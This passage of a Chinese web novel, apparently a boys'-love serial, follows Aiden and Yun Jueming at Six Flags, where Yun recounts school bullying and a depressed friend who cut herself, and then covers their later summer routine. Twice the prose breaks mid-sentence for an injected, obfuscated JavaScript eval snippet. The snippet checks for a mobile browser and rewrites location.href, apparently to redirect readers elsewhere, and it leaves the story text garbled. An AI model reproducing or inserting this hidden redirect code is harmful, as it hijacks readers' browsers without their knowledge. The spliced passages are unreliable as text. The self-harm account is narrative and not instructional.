这没什么好隐瞒的,“因为我关心你。”这句话几乎是冲口而出,就跟艾登手上拿着的煮鸡蛋一样直接,简单。蛋壳下永远是蛋白,蛋白中永远包裹着蛋黄,这是鸡蛋的真理,不会有任何一枚例外,艾登的心思也同样如此。他为云决明做的每件事都是出于对他的关心,而对他的关心里,则藏着连艾登也难以理清的深厚感情。现实中,他只认识了云决明几个月,在心里,他已经认识了他一辈子,云决明此时的一颦一笑,一举一动,对他来说都熟悉无比,就像看了一生那么熟悉。 “我知道。”看不出是喜是怒,云决明只是低声这么说道。这越发让艾登确定这个叫秦诗的女孩不一般,云决明提起她时的不同寻常的反应,艾登只见过一次——他劝说对方将专业改成心理学的那一次。 “你还爱着她吗?”这句话微微刺痛了艾登的嘴唇。 云决明摇了摇头,自嘲地笑了笑。 “我不知道,也许我曾经喜欢过她。”他轻声说道,“然而,即便这是真的,那也只持续了很短暂的一段时光,而且只存在于某些断断续续的片段中——” “断断续续的片段?” “她患有抑郁症,非常严重的抑郁症,在我认识她之前就有了。因此,即便我喜欢过她,那也只限于她没有发病的时候——抑郁症的发病是突如其来,没有征兆的,说不清什么时候绝望就会突然攫住她,有时连续几个小时她都好好的,会跟我说笑话,会跟我一起唱周杰伦的歌,一起看一部国内的电影,然而,有时候她会连续几天都情绪低沉,没来由的大哭,吼叫,焦虑,偏执,暴躁,歇斯底里……我不是圣人,艾登,我没法做到那种时刻仍然发自内心地喜欢着她。” “她的父母没有为她预约心理医生吗?” 云决明现出一丝苦笑。 “她的父母都是中国人,艾登,典型的中国人。他们不相信心理疾病这回事,认为都是西方人的无病呻吟——‘哪有那么多矫情的毛病,’我至今都记得她父亲对我说的话,‘都是没吃过苦,惯出来的。要是秦诗经历了我们经历的那些事情,上山下乡,到农村去当知青,甚至是我父母那辈人受的苦,你看她还有没有这些小性子?’” 艾登听不懂其中一些字眼是什么意思,但是不妨碍他明白秦诗父亲的态度。 “那她不能吃药来抑制病情,也不能去看心理医生改善情况,”艾登深吸了一口气,“她发病的时候该怎么办呢?重度抑郁症的患者通常都有很严重的自杀或自残倾向。” 云决明笑容里的苦涩深重如墨汁,浸满了他的眼。 “她只有我。”他说话的声音变得极轻,轻柔似梦中细语,仿佛他不愿惊醒某些潜伏已久的记忆,“她是我就读的公立高中里除了我以外唯一的一个中国女孩,因此我和她只有彼此,只能依赖彼此。不仅仅是她的父母很排斥医生这个观念,她自己也很厌恶这一点,我提议过让她去——”他顿住了。 “让她去——?”艾登不解。 “让她去找学校里相关的人寻求帮助,”半晌,云决明才憋出了一句拗口至极的话,他的眼神飘忽起来,“但她不愿意。因此我只能承担起这份责任,我阅读所有我能找到的书籍,我去图书馆打印一份份的资料,我拼命学习与心理学有关的一切,要把自己训练成一个不比那些诊所里正襟危坐的心理医师差的咨询师,我尽力了……” 说到最后,云决明的声音几不可察,沉默蔓延了很久,艾登耐心地等待着,他从早上四点就开始精心准备的午餐也耐心地等待着,直到他发现云决明的眼圈红了。 “Ming!”艾登大吃一惊,一个男人在自己面前哭了,这种事他还是头一遭遇到,美国人把男子气概看得太严重,没有哪个男人会甘愿在另一个男人面前暴露出这么脆弱的一面。他手忙脚乱把食物都甩到后座上,随即又迟疑了起来,他该拥抱云决明么?这会不会让他误会得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041215|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深?他该像个哥们一样拍拍他的肩膀,说几句关心的话吗?不对,那他跟自己原先那帮狐朋狗友有什么区别?可他之前也拥抱过云决明,为什么那时候就能做得那么自然?那是在什么时候?对了,他劝说对方选择心理学专业的时候—— 难道说,云决明是因为秦诗的原因,才拒绝选择他最擅长,也最热爱的专业么? “我尽力了,”艾登还在胡思乱想,云决明沙哑的嗓音就响了起来,他像个一辈子没开过口的哑巴,平生头一遭说话一般,唇齿干涩无比,“我真的尽力了,艾登。” “我知道你尽力了。”艾登其实根本不懂,但他现在只能说出这句话,双手搂住云决明的肩头——他现在应该没有多余的心思去考虑自己这么做到底gay不gay,“我知道你尽力了,Ming。” “不,你不懂,艾登。” 云决明抬起头来,他那一瞬间的眼神好似剖开了艾登的心——我要怎么做?心如刀绞的刹那,艾登听见自己的声音喃喃在心中响起,我要怎么做才能不让他再露出如此心碎痛苦的神色?如果能有任何办法,不管是什么代价—— “你不懂,是因为我没有告诉你。” “那你说。”艾登语气温柔无比。 “跟我的高中那群霸凌者们相比,杰森这样只会动动嘴皮子的人,其实已经好多了。他们欺负我和秦诗是不需要什么好理由的,仅仅是因为我们好欺负,因为我们两个与众不同,因为我们说话有口音,因为我们不喜欢交际,因为我们成绩好,因为我们私底下说中文,因为我们写字不用铅笔,因为我们的打扮老土,因为我们都没什么零花钱,因为我们会带饭盒去学校,而不是在食堂吃炸鸡和披萨。每天早上,光是想到去学校这件事,就让人有往自己脑门来一梭子弹的冲动。因为我很清楚从走入学校的刹那会发生什么——我的储物柜里八成又是一片狼藉,而光是从进门到走到储物柜这一段,随时随地,我的书包带子可能会突然被人扯下,有人会故意撞我,从身后也许会传来一两句不堪入耳的辱骂,甚至会有人往我的后脑勺吐口水,亦或是用篮球或橄榄球砸我。秦诗也会遭到同样的待遇,所以她从不独自去学校。我还没学会开车以前,她会特意起早半个小时,步行整整一英里的路程,只为了跟我搭同一程校车;我学会开车以后,她骑单车到距离学校有三条街的地方等我。” 艾登能想象得到云决明和那个叫秦诗的女孩遭受了多么严重的霸凌,他去过公立高中的场地进行过橄榄球训练,他很清楚那是怎么一回事——不怀好意的眼神,层出不穷的恶作剧,无休止的侮辱,讲不完的歧视笑话。私立高中里这种情形要好得多,即便是杰森也会勉强维持表面的政治正确,至少不会公开地做些什么,但公立高中可没有这种假惺惺的传统。 “那时候,我们会一起结伴去上课,她躲在我的身后,彼此十指紧紧相握,要紧握到双方骨节都生疼不已的程度。否则的话,她就没有勇气走过那一条长长的走廊。有一次,我和她坐在食堂的角落吃中午饭,一个女孩从我们身边走过,突然毫无征兆地将一碗芝士倒在了我和秦诗的头上。很可笑吧,有那么整整十分钟,我和她就那样难堪地坐在原地,忍受着整个食堂的学生指着我们哈哈大笑——这其中也包括那些在美国出生的华裔,他们是永远不会帮我们,也不会站在我们这边的。” “如果我在那里——”艾登捏紧了拳头。 “你在那里,也没有用。”云决明冷冰冰地说道,“没人能打破高中的社交法则,高高在上的橄榄球明星球员是不可能主动去帮助两个被排挤的贱民的,即便他主动站出来,也没人会当真,反而会觉得是个绝妙的笑话。如果他强调他的确是认真的,那么从此以后就没人再愿意跟他说话了,因为他是个‘扫兴鬼’‘一点也不懂得乐趣’‘我们是怎么让这种人成为橄榄球队的一员的?’没人愿意付出这个代价,艾登,即便你想这么做,你也要为自己的球队着想,你会让他们全体都陷入极为尴尬的境地,任何一个有点团队精神的人都不会做出这个选择。” 艾登语塞了。 “所有这些行为带来的痛苦,秦诗都无法排解,她根本不具备自我排解的能力,因此就得以别的方式来应对。被浇芝士的那一天,我在数学课上瞧见她拿着刀片,在撩起裙子的大腿上深深地刻出一条条血痕,另一只手则攥着一条血迹斑斑的小毛巾,划出一条,立刻捂住一条,松开,再划出一条——她应对痛苦的方式,是以另一种痛苦来缓解。” 云决明无力地笑了笑。 “那就是促使我学习心理学的契机。” 39. Chapter·Seventeen 没人喜欢听沉重的故事。 每天晚上入睡前,如果妈妈坐在他床边时开口说,“我今晚要讲述的故事有点哀伤,它讲的是很久很久以前,发生在遥远国度的一个早就被人遗忘的的故事——”艾登就会在这个故事继续下去以前,开始哇哇大叫,捂着自己的耳朵,吐着舌头,拼命摇着头。直到妈妈不得不妥协,承诺讲一个与王子和骑士有关的故事,他才会安静下来。 他喜欢听复仇成功,夺回王位的故事;他喜欢听公主最后嫁给士兵,日子幸福美满的故事;他喜欢听坏人最后被赶走,人民安居乐业的故事;他拒绝接受小美人鱼化为了泡沫,拒绝接受卖火柴的小女孩被活活冻死,拒绝接受夜莺用自己心血哺育了玫瑰。“我要用爱将他们全部复活。”他那时天真地这么告诉妈妈。 后来,父亲去世以后,艾登就明白了,这个世界上没有圆满无缺的故事,有的只是在圆满无缺时戛然而止的结局。如果永远对沉重避而不谈,那就只能一直活在童话里——然而,这年头,就连七岁小孩也知道王子与公主不可能永远幸福快乐地生活下去,他们没有签婚前协议,王子会抢走公主所有的嫁妆,公主会用水晶鞋把王子暴打一顿,而全国人民每天都会津津有味地在新闻报道上实时追踪离婚进程,早就忘记了他们当初在阳台上甜蜜亲吻的幸福模样。 可云决明的讲述,却比任何艾登知道的故事都更要沉重。 他不想听下去,他想掩住耳朵,哇哇乱叫,直到云决明突然笑起来,说那全都是编出来骗他的为止,然而他同时又如饥似渴,耳朵不放过云决明任何一个微小的语气转折,眼睛不错过他表情的任何一点变化,想知道他是不是淡化了某些痛苦,是不是略过了某些不堪入耳的内容。他不想相信云决明的话,然而这个世界就是这么残酷,富二代在加勒比小岛上纸醉金迷的时候,东南亚有生在窑子里,终日未曾见过阳光的孩子;他在私立高中里呼风唤雨,享受着校园明星优越的社交地位的时候,云决明在距离不到八十英里的地方,忍受着艾登难以想象的恶意欺凌。 而他终于知道“秦诗”这个名字对云决明来说意味着什么。 蚂蟥。 这个评价是艾登自己在心里给出的,但这是他脑子里唯一的想法。他引以为傲的优美文采与妙语连珠这一刻熄灭了,遍地摸索也只能勉强抠出这个词。他见过秦诗这种人,他们会像蚂蟥一样紧紧吸附在身边的朋友身上,吸干他们的正能量,为了宣泄自己的痛苦而无止境地向他人索求安慰和关注。唯一与蚂蟥不同的地方在于,蚂蟥吸饱了自然就脱落了,而这类人的需求永远也不可能得到满足。 但无可奈何的一点是——云决明的语气中也透露出了同样的观点——这类人很少是有意这么去做的,他们也只是一群被自己的痛苦压迫得无处可逃的可怜人罢了,不能割伤自己,便只能去割伤别人,血不从自己身上流,就得从别人身上榨出来。 云决明讲得淡淡的,寥寥几句带过他决定学习心理学以后的发生的事,却无碍艾登从蛛丝马迹中拼凑出当年的情形。云决明越想用心理学知识缓解秦诗的症状,就愈发让秦诗病态地依赖着他,几个小时几个小时不停歇的视频,三天两头就要去他家里转一转,随时随地在半夜响起电话,惊恐地控诉着她的噩梦和想要自杀的冲动,用各种各样的极端行为来测试云决明对她的耐心。秦诗的依赖越严重,云决明就得越深入的学习,寻找解决的方式,循环不断恶化,再恶化,直到他无法承受为止。 “所以,就是这样。” 云决明嗓音被愧疚压得很低,他的眼圈通红,然而墨块般的眸中没有泪水,那更像是被愤怒和悔恨逼红的情绪,而不是被伤痛或哀怨挑起的泣意。这故事离结束还早,艾登确定还有许多重要情节没有披露,但就像世界上所有其他的故事一样,它们在何时终止,都是由讲述人决定的。 “我尽力了,但我没有那样的能力,可以把一个人从她自缚的悲郁中释放,如果说我做了什么的话,可能我还让她的症状更加糟糕了。 “我们刚认识时,你说你在Instagram上找不到我,因为我的账号名字跟我本身的名字没有任何关联——我是特意这么做的,我唯一注册Instagram的理由就是为了她,为了能偶尔去她的账户看看,确认她是否安好,是否还活着,我担心我可能会不小心留下拜访的痕迹,所以随便起了一个绝不会让她联想到我的名字。 “所以,你问我,是否还爱着她——我不知道,就像我说的,也许我曾经喜欢过她,也许那是我一直容忍的原因,但我和她之间,在大多数时候,都容不下感情,所有的空隙和力气,我们都用来支撑彼此,爱如潮水覆沙,顷刻落去,留下的也就是断断续续的湿润沙土,仅此而已。” 一时间,车内只能听见冷气呼呼吹拂的声音。天气那么好,晒得地面都仿佛泛起了一层炫目的光,蓝天空旷安静,云朵全部沉入远方,落在世界的另一头。野鸽子在停车场巨大的圆柱顶端梳理自己的羽毛,尖声欢笑一阵接一阵地传来,听上去真实又遥远,犹如在贝壳中回响的海涛。 在他的计划中,今天原本应该是整个夏季最快乐的一天,他要跟云决明玩遍所有的过山车,要跟他分享所有自己曾在这乐园度过的点滴,漏斗蛋糕只是一个开始,他还没有带他去吃芒果雪芭,没带他去看杂耍小丑,没带他去那一整条街的商店里套木圈,当然,还有最后要带他去看的喷泉表演,如果他们运气好,兴许这一次也能瞧见彩虹。 艾登恍惚记起这些零碎的想法。 当然了,在云决明讲出秦诗的故事以前,他还以为那至多是一段难堪的高中狗血恋情,涉及光着屁股从别人家的后院逃走,亦或者是不小心在黑暗的派对中亲吻了错误的女孩这样的情节。鲸鱼无法想象蜉蝣的生活,一类人总对另一类人的生活充满无知,在失去父亲以前,他觉得丧父之痛不过是小说里的夸大其词;在听见云决明的故事以前,校园欺凌是他选择别过不去看的那一只眼,只要没出现在面前,哪怕曾经听说过,也不存在于这个世界上。 “那她现在好吗?” “我没法下断言,她很少更新。”云决明裹紧了身子,像一只固执地把自己包裹在卵中的小虫子,“不过,她选择了去西雅图大学——差不多是除了夏威夷和阿拉斯加以外离这儿最远的州。离开了她的家庭,或许她会更快乐一些,或许会有其他愿意帮助她的人出现,谁知道。我只要知道她活着,就行了。” 他的口吻听上去更像是一个确认假释犯人状况的检察官,而不是一个视奸前女友状况的男人。冷酷,还带着一点他没察觉的怨气。 然而,故事还是温柔的,充满了一个本就已遍体鳞伤的十六岁少年所能给予的最大温情。 “至少你说出来了,” 在艾登的脑海里,此刻他正驱车飞跃那短短的八十英里,福特野马轰鸣着穿过一号公路,时光从车窗后逆流而行,合并了他们不曾相识以前的陌生岁月。快一点,再快一点也无所谓,哪怕得到一张超速罚单也无妨,他只想赶在放学以前抵达那所充斥着垃圾白人的高中,嘎吱一声停在主楼的大门前,象征着他四分卫的球衣外套罩在肩上,艾登会倚着猩红的车身,懒洋洋地等着。待到那些往Ming头上倒芝士的学生走出,他就要冲上去,捏紧着的拳头蓄势待发,要让对方尝尝当众被羞辱是什么滋味。 “至少你告诉我了。”他又重复了一遍。 云决明小口吃着沙拉,“还不是你要问的。”他似是抱怨,又似是委屈地说了一句 他用这句话轻轻巧巧地盖去了所有因为讲述挑起的情绪。 但它们依旧存在,就像在山脉下缓慢流动的熔岩,草地里响起的虫鸣,每年候鸟来回迁徙的路线,在视野所及范围以外的某个角落,与这世界上所有未讲完的故事一起,不为人知的存在着。艾登轻微地颤抖着,他脑海里的自己已经紧紧抱住了头发上仍然带着芝士味道的男孩,恶狠狠地向所有人宣布这是他的朋友,最好的朋友,无人能及的朋友,从此以后Ming就是他罩着的人了,谁再敢碰他一根手指,他会教对方知晓后悔的十七种拼法。情节是恶俗的,却仍然大快人心。然而,在现实中,他却连前去握住云决明的手都做不到,胳膊在半空中左右摇摆,仿佛失调的老爷钟生锈的钟摆,最后只是伸手拿起了一瓶矿泉水。 “嗯,都是我硬要向你打听这些事的,是我不好。” 艾登微笑着担下了他的抱怨和委屈,在想象中,他已经动用维尔兰德家的关系——在现实中是不可能的——把云决明转到了他自己的私立高中上学。在他的羽翼下,没人能让云决明受一点气,即便是杰森也不可能。也许,也许,只是也许,如果这一切真的发生了,云决明会比如今的他开朗得多,快乐得多,他们会在汽车里嘻嘻哈哈地分完所有的食物,兴高采烈地再去挑战一次金达卡过山车—— 他只想回到过去,成为云决明的英雄。 倘若做不到,那现在还可以吗?现在已经太晚了吗?他还能做到吗? “说出来,让你好受一些了吗?” 云决明迅速地应了一声,“我瞧见了你的眼神,你也觉得秦诗像某种……吸血鬼一样的存在。”他沉静地说道,眼圈周边的红晕正在缓缓褪去,“有很长的一段时间,我都不确定我对秦诗的想法是不是对的,我究竟是因为她的纠缠厌烦了,还是忍受不了她反复无常的发病,抑或因为……但我在你这里找到了答案。至少能知道这一点,就值得说出来。” “也值得来六旗玩一趟过山车吗?”艾登趁机不失温柔的杀进,开了一个不大不小的玩笑。他庆幸自己是那个能让云决明觉得值得倾诉的人,这个想法多少给他带来了一点安慰,“我希望你觉得值得,因为接下来我们要挑战的是整个游玩时长长达两分多钟的奈吉过山车——有人觉得那是刺激程度仅次于金达卡的过山车。” 这句话让云决明的脸色“唰”地变了。 “不过,我觉得过山车的一个好处是,它会逼迫你把所有的注意力都集中在这趟旅程上,在那短短的一两分钟内,你没有办法去想别的事情,只能沉浸在高速离心运动给你带来的快感之中。当过山车走到最高点即将下坠的那一刻,你就知道,不管在曾经经受了什么,那份回忆又给你带来了怎么样的感受,接下来都会被迎面而来的劲风拉枯摧朽地撕扯干净。” “但它仍然存在,”云决明说出了先前艾登的想法,“过山车结束以后,它仍然会回来。” “人生也是如此,压力,挫折,忧虑,苦难,这些永远都不会消失,但我们还是想方设法地创造出那么一点小小的间隙,好让自己能从这些压迫中解脱出来——只是有些人喝酒,有些人派对,有些人狂欢,有些人嗑药。如果把我们的一生放入历史的长河,两个小时的派对,两天两夜不眠不休的狂欢,还有磕大了以后连续几天几夜的亢奋,又和短短两分钟的过山车之旅有什么区别呢?不都是昙花一现,转瞬即逝,随即一切又恢复原样吗? “我觉得这就是游乐园存在的意义,我们需要一个能短暂放下思绪的地方,我们需要用别人的尖叫和笑声来提醒自己,无论这个世界有多么残酷,总会有一点快乐是为我们准备的,为此,哪怕排上几个小时的队,哪怕它如白驹过隙,浮光朝露,也是值得的。 “到最高点的时候,跟我一起伸出手,把所有的不快,所有与那所高中,与秦诗有关的一切都丢到脑后——即便有残留的,最刺激的金达卡过山车都没法甩脱的思绪,那就用大吼把它们发泄出来。” 他知道仅仅这么做是不够的,不足以让云决明彻底走出过往的阴霾——然而水滴石穿,集腋成裘,来日方长,艾登不求一夜建成罗马,他只希望每个短暂的,有他陪在身边的快乐瞬间能聚沙成塔,汇溪为河,并终有一天,在他最需要的时候,能给予云决明足够的力量与勇气。 午餐很快就吃完了,他们并肩走回乐园,墨镜仍然戴在云决明脸上,艾登一路眯着眼睛适应地面反射上来的眩目日光,却并不介意。游客越来越多,他们排了半个小时的队才得以坐上奈吉,期间秦诗与高中的话题一直没有出现,他们一直在讨论关于唐纳德·□□要竞选的谣言——事实上他们身边不少有中年人都在议论这件事,许多人的口吻都极其不屑,约州是深蓝州,瞧不起共和党是政治正确,不过,艾登对这件事还是持着谨慎的态度,而云决明认为这事根本不可能成真。 一会,等坐上过山车以后,就没人再关心这件事了,艾登在工作人员检查了一遍后又不放心地拉了拉云决明的安全带,全程,他都平静地抱着越肩安全杆,一句话没说。他这副模样再度让艾登想起了劝说他更改专业那天,他一再邀请云决明来看他比赛,最终后者也没有答应,但艾登却笃定他一定会出现——就像此刻,他笃定云决明会跟着自己一同举起双手。 奈吉的爬坡极为漫长,艾登却耐心地等待着,如同那时在球场上,超过五万名观众,他却知道自己一定能瞧见云决明,他只要耐心一点,再耐心一点。 过山车从二十一层楼的高度俯冲下去,艾登第一时间松开了手,在半空中,他触到了云决明冰冷的指尖——不顾身后也许有人会看见,不顾云决明会怎么想,艾登紧紧握住了他,随即在过山车触底之前松开,云决明似无所觉,被吹得像张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041216|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸在抖动般的脸迸发出了嘶哑但畅快的叫嚷。如同艾登之前所说的那样,当过山车开始俯冲的时候,一切都不再重要了,那一刻,所有人的人生里,就只有坠落。 几个小时很快就在排队,搭乘,排队,搭乘这样的反复中溜走了。跟艾登预计的一样,一旦云决明愿意接受过山车,一旦他意识到那短暂的瞬间可以让他遗忘一切,恐惧也就不复存在了,他们挨个挨个将六旗公园闻名遐迩的惊险项目玩了个遍,途中,他们经过商店街时,艾登还兴致勃勃地带着他去吃了一杯芒果雪芭,又买了十几个木圈套娃娃——艾登套中了一只特别丑的北极熊,云决明技术太烂,什么也没得到。 把北极熊寄存在店老板那儿,他们还去尝试了一下射气球,然而由于约州禁枪,艾登从来没训练过这方面的技能,他打算在云决明面前耍帅,一口气买了二十颗圆弹,有模有样地端起了枪,然而最后连半个气球都没射爆,灰溜溜地拽起云决明就跑,连投篮都没去试试看。 离开商业街以后,他们就直接去挑战了世界上最高的跳楼机,上去以前,云决明看上去连腿肚子都在打转,然而,不管艾登怎么劝说,如何暗示不想玩这个跳楼机也不代表就不是真男人,云决明还是坚决要坐。下来以后,他脸色蜡黄,坐着缓了好几分钟,才回过神来。鉴于这是他第一次玩跳楼机,艾登觉得他没有当场吐出来的反应,都挺不错的。 从跳楼机的出口绕出来,云决明突然不安了起来,“我们是不是接下来就该挑战金达卡了?”他突然没头没脑地冒了一句,打断了原本的话题——坐上跳楼机,缓缓升上空中的时候,艾登在金达卡过山车排队处的遮阳棚那看见了至少七八部iPhone,他们正在起劲地猜测到底是什么原因会导致那么多手机掉到了那儿,是从过山车上掉下来的,还是从跳楼机上? “你想现在就去?”艾登反问道。 “我可没这么说。”他慌忙辩解着,“只不过,在坐了跳楼机以后,我觉得金达卡的高度也不过如此而已,没什么好怕的。” “你不怕,我倒是想休息一下,”艾登笑了,会相信一个曾经连续坐了十四次金达卡过山车的男人因为坐了一次跳楼机就经受不住,也只有此刻死鸭子嘴硬的云决明了,“我们可以一会再回来。” “再回来?”云决明有点警惕,“我以为你说我们已经玩遍除了金达卡以外的过山车了。” “不是过山车,你跟着我来就好。” 天色逐渐暗下去,夕阳的落下在天际激起了由层层云朵组成的浪花,花团锦簇中是熊熊燃烧的大火,烈红的火势正与烧着的云朵逐渐融为一体。艾登喜欢这样的景色,他就出生在夏天,于暮色时分发出了人生中第一声响亮的啼哭,“我当时在产房里,”父亲有一次跟他比划着,“我从医生手上小心翼翼地接过只有这么点大的你,不敢想象这个四脚乱蹬的婴儿是我的儿子,有一丝阳光从紧闭的窗帘透进来,正照在你的脸上,透进了你的双眼,仿佛两团火在其中燃烧,那时候我就决定要叫你艾登。” 乐园里人很多,今天是周末,有不少购买了季票的家庭往往都会在这时倾巢出动,而且都选在4点以后抵达,不仅可以避开暑气,也可以避开晚高峰——由于许多人买季票就是冲着金达卡来的,乐园大道上人头攒动,全是兴奋地向过山车拥去的人群。为了避免被冲散,艾登的手稳稳地抓着云决明的胳膊,牵着他逆流而行,向着夕阳的方向走去。他们淹没在摩肩接踵的游客里,没人注意到这两个男孩,更别说看见他们紧握的手臂。 一直走到了乐园大门口,艾登才停下脚步,松开手,云决明已经明了了。 “你想带我来看喷泉表演。” “嗯。”艾登应了一声,站在喷泉的正前方,夕阳沉在身后,双手插在裤兜里,仰头注视着跳跃的水花,周围行人来去匆匆,在这儿等待的只有他与云决明。七点的时候,随着整个园区的灯光刹那亮起,喷泉的水柱会跟着一起喷射上高高的空中,化作漫天飞雨洒落,说是表演,其实言过其实。但对艾登而言,既然他的父亲是这么说的,那这就是表演,绝不会有错。 “我从来没带别人来看过,”他小声补充了一句,“很少有人知道六旗乐园的喷泉表演。” “你想让我去买一块漏斗蛋糕吗?”云决明看起来已经把早上的风波抛到脑后了,他淡淡地笑了笑,“早上的那一块我们都没怎么吃。” “不用了。”艾登轻声说。这一刻,数不清地与父亲有关的回忆涌上心头,哽得他一时说不出话。他带云决明来这儿,只是希望能让他明白,我们都有深埋心底的伤痛,都有不堪回首的过去,它们永远存在,不会消失,但此刻——或者说,未来许多类似此刻的时刻,只要有一位像你这样的朋友站在身旁,就能让一切轻松许多。 让我也成为那样的朋友,Ming。他在心里小声说,我不是秦诗,我能成为你的过山车,我能成为你的英雄。 艾登侧脸向云决明望去,视线对接的刹那,满园星辉在彼此眼中霎时亮起,“哗啦”一声巨响,水柱冲天而起,冰凉的雨雾一下子扑在脸上,让人睁不开眼睛。两个人都下意识地低头擦眼,他们站得太近了。 “爸爸!快看!”一个男孩突然尖叫了起来,“是彩虹!” 艾登猛地抬头,他的心狂跳起来,“Ming,Ming,快看,”他语无伦次地嚷着,手指颤抖着指着某处,虽然微弱,虽然没有完整的七道虹光,但那确确实实是一条彩虹,颤颤巍巍地挂在半空中,就与他记忆中一模一样,“你看见了吗?你看见了吗!” “我看见了,艾登。”云决明声音难得的激动了起来,适才叫嚷着有彩虹的小男孩已经跟着他的父母走远了,只有一两个女孩停步看了几秒,发觉手机没法把那浅淡的颜色拍出来以后,又耸耸肩离开了。 “我们真是太幸运了,太幸运了,”艾登的话仍然颠三倒四的,再见到这道彩虹,意义几乎不亚于能再见到父亲,有一滴水珠从他脸颊滑下,他分不清是泪水还是喷泉,“我们应该许愿,对,Ming,许愿!” “好。”没有觉得他的话荒谬,没有觉得他的反应太过激动,云决明立刻就一口答应了,笑容还留在他脸上,没有褪去,“你说的对,这么好的运气,不拿来许愿浪费了。” “那闭上眼睛?”艾登雀跃地问道。 “嗯,数到三,一,二——” 艾登立刻阖上了双眼。 我希望Ming可以走出所有过往带给他的痛苦,父亲,我希望他能幸福快乐,一生平安。 父亲,你一定要保佑这一点成真。 我爱你,爸爸。 40. Chapter·Eighteen “早上好,洛克希。” 云决明打着哈欠说道,大狗用兴奋的呜呜声作为回应,尾巴欢快地摇动着,嘴巴大张着,呼哧呼哧地喘气,时不时便试图伸出爪子,想要扒在他身上。云决明懂得这些动作意味着什么,艾登已经离开二十多天了,这些日子里都是他在照顾洛克希,早就摸清了大狗喜怒哀乐的表达方式。 “等我上个厕所,刷个牙,洗个脸。”他摸了摸洛克希的头,顺手从睡衣裤兜里掏出了手机。锁屏界面上显示今天是7月3日,星期五,早上6:34分,来自艾登的五条未读消息,以及他们去六旗主题公园那天清早拍下的合照,作为壁纸。 一晃眼,一个多月就过去了,明天,就是美国的国庆节了。 日子在那之后逐渐形成了一个稳态。白天,云决明有夏季课程,而艾登有非正式的橄榄球训练——杰森利用他父亲的关系,为橄榄球队伍接到了警察学校的训练基地作为练习场地,如此就可以绕开NCAA的规定,让队员在新一轮赛季到来以前得到更多的训练时间。他们回到家的时间总是错开,因此约定谁先回来谁就先溜洛克希。经常是云决明气喘吁吁地牵着大狗回到家时,艾登已经做好了一桌热气腾腾的饭菜,笑着在门口迎接他。偶尔艾登提前结束训练,云决明便在家里准备好所有炒菜做饭的前期准备——他是个喜欢做计划的人,总会提前一周和艾登商量好每天的菜谱。 晚上,吃完饭以后,云决明要写作业,看录像,读书籍,事情多得不可开交;艾登则忙于将所有受害者的消息都输到电脑里去。这是一个大工程,得耗费好几个月的时间,越早开始越好。免得到时候云决明做好了受害人侧写,艾莉也编写完了程序,万事俱备,却还要巴巴地等着受害人详细数据这股东风。 等到了周末,事情也不少。周六是采购日,也是云决明跟着艾登去他家看爷爷奶奶,品尝奶奶手艺的日子。艾莉会在周日过来录制视频,这往往就要耗费一整天的时间。她后来想了个绝妙的借口,骗祝阿姨说她想找云决明辅导她的数学功课,祝阿姨完全没怀疑这个正当的理由,还当即就给云决明转了一笔钱当补课费,吓得云决明赶紧又把它退了回去。艾登统计课的期末考试成绩是89分,他为此硬是塞给了云决明三千块的奖金,有这笔额外收入,他很长一段时间都不必担心自己的日常开销。 艾莉在去度假以前就录好了未来四五期的视频,她长得漂亮,衣着又有品味,而且——云决明觉得这是最重要的——也有从信托基金拿到的大笔收入,无论粉丝在评论里说希望她测评什么化妆品,或者什么品牌的衣物,艾莉都能马上买回来,虽说她的视频暂时还没有太大的亮点,还是立刻就在油管上吸引了一大群年轻的亚裔留学生追随者。尽管艾登仍旧觉得从这么个事业上寻求认可太肤浅了,但他好歹是耐住了性子,尽力在这件事上表现出了一个兄长应有的支持。 关于彼此过去的话题,在这样平淡的日子里再也没提起过。每天他们讨论的都是当下,未来,还有憧憬中的计划。唐纳德·□□确定要竞选美国总统的消息,就至少在饭桌上讨论了半个月;连续一个多星期,他们每天都会在早餐桌上追踪“东方之星”游轮沉没的后续新闻——艾登看油管上的新闻视频,云决明则直接在微博上查热搜。之后,艾登还提出了想跟他一块去大都会博物馆,去自然历史博物馆,去法拉盛和唐人街,甚至还有布朗克斯动物园游玩的计划,云决明猜到这些应该都是他父亲曾经带他游历过的景点,因此都满口答应下来,但他们都知道这个计划在这个夏天是不可能实现的,谁都没有足够的时间,艾登从假期回来以后,橄榄球队正式的夏季训练就要开始了。 这样的生活,几乎都让云决明以为,自己在彩虹前所许下的愿望,果然成真了。 我希望能跟艾登似现在这般一直生活下去,永远不要分开。 这是一个疯狂的念头,根本没有实现的可能。然而,跟一道若隐若现的彩虹许愿,本来就是一件荒谬的事情,搭配上一个荒唐的心愿,再合适不过了。更何况,他那时脑子里根本容不下第二个念头,也找不出第二个渴望达成的愿望,所有在那一天发生的一切——艾登悄悄披在他身上的毯子;艾登百般恐吓最后还是带他去坐的儿童过山车;取下戴在他脸上的墨镜;从嘴角抹去又舔掉的糖粉;在福特野马里吐露的过去;过山车上艾登紧紧握住的手;被他珍而重之带回家,放在床头的北极熊;人群逆流中,艾登握住的胳膊;还有他们并肩站在喷泉前,水柱即将迸射的前一刻,艾登扭头望下的眼神——全都交织成了那一刻汹涌激荡的,难以自已的颤栗,他连“三”都没能数出,就已经闭上了双眼,冰冷的雾珠亲吻着他的双唇,只有那天洒落的雨点听见了他微微翕动的字句。 但艾登是不可能爱上他的。 